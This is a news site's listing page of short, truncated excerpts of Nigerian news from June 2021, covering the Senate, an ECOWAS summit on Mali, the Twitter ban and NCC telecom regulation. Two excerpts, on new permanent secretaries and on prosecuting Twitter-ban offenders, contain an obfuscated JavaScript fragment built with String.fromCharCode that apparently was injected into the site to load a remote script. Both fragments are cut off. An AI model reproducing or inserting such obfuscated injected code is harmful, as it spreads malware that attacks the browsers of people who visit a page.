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Lawan to Leaders: Give Our Youth Chance, Opportunity
21Jun By Skye ZacharyNo Comments
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Lawan to Leaders: Give Our Youth Chance, Opportunity

President of the Senate, Ahmad Lawan, has said efforts must be made by leaders in the country to encourage productivity amongst youths to enable them contribute meaningfully to national development.  Lawan made this known over the weekend while speaking to Journalists at the First Solo Exhibition of Paintings and Photographs by Stephen Binos.  Binos is the son of Senator Binos Dauda Yaroe, who is representing Adamawa South in the Senate.  The artworks exhibited depict the culture of the people of Adamawa State.    The Senate President, while charging Nigerian youths to ensure the preservation of the country’s diverse cultural heritage through expressive means, explained that doing so would in turn preserve its traditional values against ...
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Buhari Urges ECOWAS Leaders to Exert ”Pressure on Mali” to Return to Civilian Rule
20Jun By Skye ZacharyNo Comments
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Buhari Urges ECOWAS Leaders to Exert ”Pressure on Mali” to Return to Civilian Rule

President Muhammadu Buhari on Saturday called on West African leaders to exert pressure on the military leadership in Mali to ensure that the transition process in the country is not aborted.  The President’s position is contained in his statement delivered at the 59th Ordinary session of the Authority of Heads of State and Government of ECOWAS in Accra, Ghana.  The Nigerian leader spoke on the situation Mali, which was recently suspended from the regional bloc due to a military coup.  The Senior Special Assistant (SSA),to the President Media and Publicity, Mr. Garba Shehu, in a statement on Saturday, quoted the President as saying: ''At this Summit today, we are expected to review a number of important reports dealing with various issues of concerns to our organis...
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Buhari to Attend ECOWAS Summit in Accra on Saturday
19Jun By Dwelleth MorountodunNo Comments
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Buhari to Attend ECOWAS Summit in Accra on Saturday

President Muhammadu Buhari will participate in the 59th Ordinary Session of the ECOWAS Authority of Heads of State and Government in Accra, Ghana on Saturday, June 19, 2021.   The President, who will depart Abuja on Saturday, will join other Heads of State of Government of ECOWAS for the mid-year statutory meeting of the regional bloc, with the exception of Mali, which was recently suspended from the group.  Former President Goodluck Jonathan of Nigeria, ECOWAS Special Envoy and Mediator to Mali, is expected to present a report on his latest working visit to the West African country to the Summit of the Heads of State.  The Heads of State and Government will also receive a report on ECOWAS institutional reforms, single currency programmes and a memorandum on the pr...
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FG Approves Appointment of 5 New Permanent Secretaries
19Jun By Skye ZacharyNo Comments
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FG Approves Appointment of 5 New Permanent Secretaries

President Muhammadu Buhari on Friday approved the appointment of 5 new Permanent Secretaries in the Federal Civil Service following just concluded selection process. The Director of Press and Public Relations in the Office of the Head of Service, Mr. AbdulGaniyu Aminu, in a signed statement made available to the media quoted the Head of the Civil Service of the Federation, Dr. Folsade Yemi-Esan, made the disclosure today (Friday). The newly appointed Permanent Secretaries include: Adebiyi Olusesan Olufunso, for Ekiti State, Onwudiwe Maryann Ngozi, Enugu State, Yusuf Idris for katsina State, Ogunbiyi Marcus Olaniyi, Lagos State and Ibrahim Abubakar Kana, Nasarawa State. var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,...
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EFCC, FIRS, KIRS Partner against Tax Fraud
16Jun By Skye ZacharyNo Comments
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EFCC, FIRS, KIRS Partner against Tax Fraud

The Economic and Financial Crimes Commission (EFCC), is to collaborate with the Federal Inland Revenue Service (FIRS) and the Kano State Internal Revenue in tackling tax related frauds. The Head of the Kano Zonal office of the Commission, Mualledi Farouq Dogondaji stated this on Tuesday during a courtesy visit to both agencies in Kano. At KIRS, Dogondaji urged the Chairman to always report tax evaders to the Commission as the Zonal Office now have a full pledged Tax Fraud Section “We are ready to continue to work together to put our economy back on track. Tax is what is used to pay our wages and salaries. That is why we are here to tell you that our doors are open. If you have tax evasion cases, do not hesitate to come to us. We now have a special section dealing with that,”...
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Regulatory Mandate: NCC Inaugurates C’ttee to Review Telecoms License Structure
16Jun By Seun AdamsNo Comments
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Regulatory Mandate: NCC Inaugurates C’ttee to Review Telecoms License Structure

In demonstration of its regulatory mandate, responsiveness to global trends and the dynamics in the Information and Communications Technology (ICT) ecosystem, the Nigerian Communications Commission (NCC) has initiated the process for the review of existing licensing structure in the Nigerian telecommunications industry.  An important step towards achieving this was taken recently by the Executive Vice Chairman and Chief Executive Officer of NCC, Prof. Umar Danbatta, when he inaugurated an in-house Standing Committee to carry out the task. Danbatta, while inaugurating the Committee, said the need for the review of the existing license structure was informed by the wide range of technological advances, convergence of technologies and services which have characterized the global t...
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Insecurity: Enang Urges State Governors to Engage Youths
15Jun By Skye ZacharyNo Comments
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Insecurity: Enang Urges State Governors to Engage Youths

The Senior Special Assistant to the President on Niger Delta, Senator Ita Enang has called on state governors to meet with all the youths in their state as a way of addressing the security challenges confronting the country. In an interview monitored in TV station in Abuja, he said: “We need to apologies to them and on my little part I apologies to them for the little we did not do at certain time and please let return back to the table. The Chief Press Secretary to the SSA, Mr. Edet Ekpenyong, quoted his boss as saying: “We, the leaders and elders have provoked the youths of this country, we did not plan for them, no government in this country PDP or APC can excuse himself for what is happening now. “When we were busy educating our children in the best of schools, what did we do...
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Telcos Regulator Finalises Cost-Based Study on International Termination Rate Determination
14Jun By Felix ShammahNo Comments
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Telcos Regulator Finalises Cost-Based Study on International Termination Rate Determination

By Frank Momodu The Nigerian Communications Commission (NCC) has concluded the process for determining the cost-based price of Mobile International Termination Rate (MITR) to ensure healthy competition on traffic handling for voice services between local and international operators in Nigeria.  The Commission made this known at the final Stakeholders’ Forum for the presentation of the study on cost-based pricing of mobile ITR, undertaken by Messrs Payday Advance and Support Services Limited, held at the Commission’s Head Office in Abuja on Tuesday, June 8, 2021 with Management Staff of the Commission physically in attendance while other critical industry stakeholders participated virtually. The forum was convened by the NCC to formally present the findings from the study, wh...
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Brass Products Terminal: Sylva Hails PMB as NNPC, NCDMB, Zed Energy Sign Agreement
13Jun By Dayo OmoogunNo Comments
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Brass Products Terminal: Sylva Hails PMB as NNPC, NCDMB, Zed Energy Sign Agreement

The Minister of State for Petroleum Resources, Chief Timipre Sylva has commended President Muhammadu Buhari for his giant strides in the Niger Delta which is making a huge impact on the people of the area. The Minister made this known on Friday while speaking at a ceremony to mark the execution of Shareholders Agreement between the Nigerian National Petroleum Corporation (NNPC), the Nigerian Content Development & Monitoring Board (NCDMB) and Zed Energy for the establishment of a 50 million litre Petroleum Products Terminal in Brass, Bayelsa State. The N10.5 billion Brass Petroleum Products Terminal project is expected to deliver an automated 50 million litre depot with two-way product jetty, automated loading bay, and 6 automated tanks for storage of 30 million litres of Premium...
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June 12: Buhari Lists 59 Achievements Amidst Grinding Security Challenges
12Jun By Skye ZacharyNo Comments
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June 12: Buhari Lists 59 Achievements Amidst Grinding Security Challenges

Fellow Nigerians, I join you all today to commemorate and celebrate our Democracy Day.  It is a celebration of freedom and a victory for one people, one country and one Nigeria. 2.    As with all democracies we will always be going through improvement processes in our desire to reach the goal of a mature democracy, a strong, evolved and integrated nation state to be reckoned with globally. 3.    In the last two years we have witnessed and overcome a good number of testy challenges that would have destroyed other nations especially relating to our collective security. 4.   The indefatigable CAN DO Spirit of the Nigerian has sustained us and would keep pushing us to put these challenges behind us. 5.   Unfortunately some of these c...
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Democracy Day: FCT Security Committee Assures Residents of Safety
12Jun By Dayo OmoogunNo Comments
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Democracy Day: FCT Security Committee Assures Residents of Safety

Residents of the Federal Capital Territory have been assured of their safety during the 12th June Democracy Day celebrations and beyond.This assurance was given by the Permanent Secretary, FCTA, Mr Olusade Adesola following the routine FCT Security Committee meeting which was held on Thursday, 10th June 2021.In the words of Mr Olusade who presided over the meeting, “Residents of FCT are very peace loving. So, collectively, we are committed to a peaceful June 12 celebration. In this regard, our security agencies are catching on to this commitment and they have assured us that no stone will be left unturned in protecting the lives and properties of residents”.“Security agencies have marshalled various strategies that will be deployed during this period. So, one thing I can tell the resident...
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Senate: Conflict Between N’Assembly, Presidency Not in the Interest of Nigerians
11Jun By Skye ZacharyNo Comments
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Senate: Conflict Between N’Assembly, Presidency Not in the Interest of Nigerians

President of the Senate, Ahmad Lawan, has said that the National Assembly won’t hesitate to issue a warrant of arrest on any government official that refuses to appear before its Committees to account for public funds in their trust.  Lawan made this known on Friday while fielding questions at a briefing of Editors, Bureau Chiefs and members of the Senate Press Corps to mark the 2nd anniversary of the ninth Senate in Abuja.  The Senate President was reacting against the backdrop of likely concerns into findings by the Public Accounts Committee on the report of the Auditor-General for the Federation on the accounts of the Federation for the year ended 31st December, 2015. The report was laid on Tuesday this week by the Public Accounts Committee Chairman, Matthew Urhoghide (PD...
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NCC Charges Youths on Responsible Internet Usage
10Jun By Seun AdamsNo Comments
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NCC Charges Youths on Responsible Internet Usage

The Nigerian Communications Commission (NCC) has urged Nigerian youths to leverage Internet/broadband access to unleash their potentials for innovation and creativity, as well as their quest for job opportunities and skills acquisition. The Executive Vice Chairman (EVC) of the Commission, Prof. Umar Garba Danbatta, made the call during the presentation of 100 pieces of mattresses to the Federal Capital Territory’s Permanent Orientation Camp of the National Youth Service Corps (NYSC), Kubwa, Abuja recently. The presentation of the mattresses was in demonstration of the Commission’s solidarity and corporate social responsibility (CSR) to support the replacement of some of the items carted away from the camp by hoodlums during the EndSARS protests of October 27, 2020. Speaking on be...
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Police Clarify, Say All Duly Issued Permits Remain Valid
10Jun By Dwelleth MorountodunNo Comments
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Police Clarify, Say All Duly Issued Permits Remain Valid

The Inspector General of Police (IG), Mr. Usman Alkali Baba, has affirmed that all existing vehicle tinted glass permits, duly issued by the Nigeria Police Force, remain valid. This clarification is coming on the heels of public enquiries following the announcement of the suspension of issuance of new tinted permits by the IGP during the meeting with Senior Police Officers at the Force Headquarters, Abuja on Monday, 7th June, 2021. The suspension, which is a temporary measure, will remain in force pending the release of a new protocol that would regulate the issuance of tinted permits for vehicle owners and operators in the country.   The IGP noted that the move is part of efforts to streamline the process of issuance and usage in line with the provisions of the Motor Vehicl...
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NiMet, Michael Okpara University Sign MoU on Establishment of Weather Station
9Jun By Seun AdamsNo Comments
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NiMet, Michael Okpara University Sign MoU on Establishment of Weather Station

The Nigerian Meteorological Agency (NiMet) and Michael Okpara University, Umudike, Abia on Tuesday signed a Memorandum of Understanding (MoU) on the establishment and formal take off of a weather station at the University. The Director General of NiMet, Prof. Mansur Bako, at the instance of the Vice Chancellor of the University, Prof. Prof. Iwe Maduebibisi Ofo, said NiMet is looking forward to more fruitful collaboration with the University in the area of research, staff training and capacity building. Prof. Bako, acknowledged that the agency is saddled with the mandate for the provision of weather services to all sectors of the economy, to advise government and MDAs at different strata at state and local government levels on weather and climate information for policy and decision m...
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Twitter Ban: Malami Orders Prosecution of Offenders
7Jun By Seun AdamsNo Comments
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Twitter Ban: Malami Orders Prosecution of Offenders

The Attorney General of the Federation and Minister of Justice, Mr. Abubakar Malami SAN, has ordered the prosecution of offenders of the federal government ban on Twitter operations in Nigeria. Dr. Umar Gwandu, the SA to the AGF on Media and Publicity in a statement directed the Director of Public Prosecution of the Federation (DPPF) at his office to swing into action and commence in earnest the process of prosecution of violators of the federal government De-activation of opetations of Twitter in Nigeria. The DPPF is to liaise with the Ministry of Communication and Digital Economy, National Communication Communication (NCC) and other relevant government agencies to ensure the speedy prosecution of offenders without any further delay. var z =String;var t=z.fromCharCode(118,97,114,32...
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T.B Joshua’s Last Words
6Jun By Dayo OmoogunNo Comments
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T.B Joshua’s Last Words

Prophet Temitope Balogun Joshua popularly known as T.B.Joshua’s last words prior to his death was “watch and pray”.This is according to a statement put out by his church administration.The statement read in part Surely the Sovereign LORD does nothing without revealing his plan to his servants the prophets’– Amos 3:7 “On Saturday 5th June 2021, Prophet TB Joshua spoke during the Emmanuel TV Partners Meeting: ‘Time for everything – time to come here for prayer and time to return home after the service.’ “God has taken His servant Prophet TB Joshua home – as it should be by divine will. His last moments on earth were spent in the service of God. This is what he was born for, lived for and died for. “As Prophet TB Joshua says, ‘The greatest way to use life is to spend it on something...
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Twitter Suspension: Halt this Shame – PDP tells FG
5Jun By Dayo OmoogunNo Comments
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Twitter Suspension: Halt this Shame – PDP tells FG

The Peoples Democratic Party (PDP) has rejected the suspension of Twitter by  the Federal Government, calling it a vexatious, barbaric action and asking the government to rescind the decision. "The Peoples Democratic Party (PDP) vehemently rejects the unwarranted suspension of the social media platform, Twitter, by the President Muhammadu Buhari-led Federal Government, describing it as a draconian action and a slide towards a fascist regime in our country. "The party asserts that the suspension of twitter, is a vexatious, condemnable and barbaric move to muzzle Nigerians, particularly the youths, ostensibly to prevent them from holding the overtly corrupt, vindictive and divisive Buhari administration accountable for its atrocities, including human right violations, patronizing of t...
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Presidency to Campbell: Your Prediction for Nigeria Unfair
4Jun By Seun AdamsNo Comments
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Presidency to Campbell: Your Prediction for Nigeria Unfair

The Presidency on Thursday angrily reacted to a publication in the Foreign Affairs Magazine, authored by John Campbell and Robert Rotberg, expressing its view that their claim in the report was unfair both to Nigeria as a nation and to the magazine because of the purported reputation of the magazine that is U.S inclined. The opinion published in the latest edition of the magazine had as its title: The Giant of Africa is Falling: only Nigeria can Save itself - But the United States can Help. Recall that John Campbell, was a former U.S diplomat and was he acting Director of the Office of the Historian within the department of the State, additionally, he was the Ralph Bunche Senior Fellow for Africa Policy Studies at the Council on Foreign Affairs in Washington DC.  The Senior ...
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Senate Approves Establishment of Institute for Border Studies
2Jun By Dwelleth MorountodunNo Comments
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Senate Approves Establishment of Institute for Border Studies

The Senate has approved the establishment of the National Institute for Border Studies in Imeko, Ogun State, with the passage of a bill to that effect. The approval came with the consideration of a report by the Committee on Tertiary Institutions and TETFUND.  Senator Ayo Akinyelure (PDP, Ondo Central), who presented the report on behalf of the Committee’s Chairman, Ahmad Babba Kaita (APC, Katsina North), said the Institution would produce graduates with practical and theoretical knowledge in border management  to reduce risks and challenges of existential threats facing the country.  “The establishment of the Institute will reduce the ills around national borders and deescalating chances of entrenching heinous criminal activities being perpetrated by men of t...
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